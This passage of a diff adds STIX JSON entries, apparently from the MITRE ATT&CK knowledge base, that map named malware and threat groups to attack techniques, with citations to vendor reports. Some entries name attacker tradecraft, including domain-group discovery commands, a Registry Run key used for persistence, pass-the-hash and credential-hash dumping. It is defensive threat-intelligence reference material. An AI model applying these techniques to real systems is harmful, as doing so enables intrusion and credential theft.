network connections.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--938a71e3-a9dc-4ad9-b1c4-b15d75967b8d", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.182Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:08:16.448Z", + "type": "relationship", + "id": "relationship--3f5c880e-da8c-4ad4-9197-17a18f50dd12", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--cb825b86-3f3b-4686-ba99-44878f5d3173", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Rundll32.exe is used as a way of executing [Flame](https://attack.mitre.org/software/S0143) at the command-line.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ced15447-281b-4d92-941e-b5df9747a3d5", + "external_references": [ + { + "source_name": "Crysys Skywiper", + "description": "sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks. Retrieved September 6, 2018.", + "url": "https://www.crysys.hu/publications/files/skywiper.pdf" + } + ], + "modified": "2019-06-06T14:35:53.985Z", + "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Helminth](https://attack.mitre.org/software/S0170) has checked for the local admin group domain admin group and Exchange Trusted Subsystem groups using the commands net group Exchange Trusted Subsystem /domain and net group domain admins /domain.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b3981ca6-7ef0-4625-99a8-9cbec731bac9", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) recursively generates a list of files within a directory and sends them back to the control server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--87648492-36d0-4f94-b318-17280b101678", + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) collected complete contents of the 'Pictures' folder from compromised Windows systems.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ea9d456c-f2b7-4d95-ab30-2a7e06586615", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "modified": "2019-07-16T15:35:20.805Z", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) exfiltrates data collected from the victim mobile device.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5d55979e-d4e8-44eb-97d6-e3e78baa60c7", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NetTraveler](https://attack.mitre.org/software/S0033) reports window names along with keylogger information to provide application context.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--10c6cc56-a028-4c2a-b24e-38d97fb4ebb7", + "external_references": [ + { + "source_name": "Kaspersky NetTraveler", + "description": "Kaspersky Lab's Global Research and Analysis Team. (n.d.). The NetTraveler (aka \u2018Travnet\u2019). Retrieved November 12, 2014.", + "url": "http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e", + "relationship_type": "uses", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:15:19.512Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5406867b-20fe-43e3-bd64-6816ba340b60", + "external_references": [ + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "relationship_type": "uses", + "target_ref": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that creates a new service for persistence.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bc9cfe76-2d64-4901-8e9e-c69d046cdfaa", + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "modified": "2019-04-29T18:01:20.434Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-22T15:08:48.549Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--47f580c1-77ea-48a6-a280-71bbcb4707d0", + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "tool--33b9e38f-103c-412d-bdcf-904a91fff1e4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has used various methods of process injection including hot patching.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ca429946-3c81-4773-8254-108dbdbb9da9", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2019-05-10T12:14:32.158Z", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Regin](https://attack.mitre.org/software/S0019) appears to have functionality to modify remote Registry information.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fe3c4134-ddef-45f8-b83a-6865a01b9764", + "external_references": [ + { + "source_name": "Kaspersky Regin", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has stored captured credential information in a file named pi.log.", + "type": "relationship", + "created": "2017-05-31T21:33:27.040Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ec6a8fde-702a-4e38-a37b-428a8ca10b18", + "external_references": [ + { + "source_name": "Microsoft SIR Vol 19", + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "modified": "2019-07-27T00:09:36.159Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Komplex](https://attack.mitre.org/software/S0162) C2 channel uses HTTP POST requests.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cdca2bdf-a29b-45d5-90ff-17ab56b094a4", + "external_references": [ + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Most [Sakula](https://attack.mitre.org/software/S0074) samples maintain persistence by setting the Registry Run key SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ in the HKLM or HKCU hive, with the Registry value and file name varying by sample.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--384c75e4-04e7-4ff8-9da6-0c8a03cb7a61", + "external_references": [ + { + "source_name": "Dell Sakula", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) attempted to get users to launch malicious Microsoft Office attachments delivered via spearphishing emails.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--aee59ac6-e6e6-4b35-b2ce-4e529d4efc4b", + "external_references": [ + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "modified": "2019-07-25T14:56:46.740Z", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has exfiltrated files stolen from local systems.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--05e9e12f-be5e-46f4-9f42-6f7fb7e9fb4a", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.311Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can retrieve information about the Windows domain.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--03be081b-574e-4ffd-807a-99163b6a6fa2", + "external_references": [ + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) contains a keylogger component.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2f5f2d31-739e-4dc5-b137-840401985244", + "external_references": [ + { + "source_name": "Symantec Remsec IOCs", + "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" + }, + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can upload files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--80383098-470f-4293-b4b1-90c4362be307", + "external_references": [ + { + "source_name": "Symantec Pasam May 2012", + "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) may create a temporary user on the system named \u201cLost_{Unique Identifier}.\u201d", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7e55e411-230e-4d1a-a780-d07784ed2cd6", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "relationship_type": "uses", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-10T15:59:09.336Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.053Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--af0b0bfb-1a1e-4a06-b9e9-adeda7b6ad81", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + }, + { + "source_name": "CameraShy", + "description": "ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.", + "url": "http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf" + } + ], + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "relationship_type": "uses", + "target_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Wingbird](https://attack.mitre.org/software/S0176) uses services.exe to register a new autostart service named \"Audit Service\" using a copy of the local lsass.exe file.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a8aac75d-ef58-4dda-97a8-9584a6a6baaf", + "external_references": [ + { + "source_name": "Microsoft SIR Vol 21", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + }, + { + "source_name": "Microsoft Wingbird Nov 2017", + "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.", + "url": "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to obtain a directory listing.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--32ee78b3-58de-4de5-bc3d-34ea8dc90ca3", + "external_references": [ + { + "source_name": "Palo Alto CVE-2015-3113 July 2015", + "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used pass the hash for lateral movement.", + "type": "relationship", + "created": "2017-05-31T21:33:27.040Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--22ccfcb8-cb4a-4b9e-bc2d-c0bd2701e2e9", + "external_references": [ + { + "source_name": "Microsoft SIR Vol 19", + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "modified": "2019-07-27T00:09:36.181Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cachedump](https://attack.mitre.org/software/S0119) can extract cached password hashes from a system\u2019s registry.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5c6b3fda-2eec-4c7a-af09-5f880f260085", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) can execute commands on the victim's machine.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9f1c680d-042e-4291-bf9c-85c51120aa8b", + "external_references": [ + { + "source_name": "US-CERT Volgmer Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + }, + { + "source_name": "US-CERT Volgmer 2 Nov 2017", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Molerats](https://attack.mitre.org/groups/G0021) actors obtained a list of active processes on the victim and sent them to C2 servers.", + "type": "relationship", + "created": "2017-05-31T21:33:27.055Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6e757efa-8231-4674-a1ea-e234e2dfb838", + "external_references": [ + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "modified": "2019-03-25T14:27:23.908Z", + "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) captures images from the webcam.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--79852ad8-86ff-4747-97c0-1c7faa5fa69d", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.699Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) stages the output from command execution and collected files in specific folders before exfiltration.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": 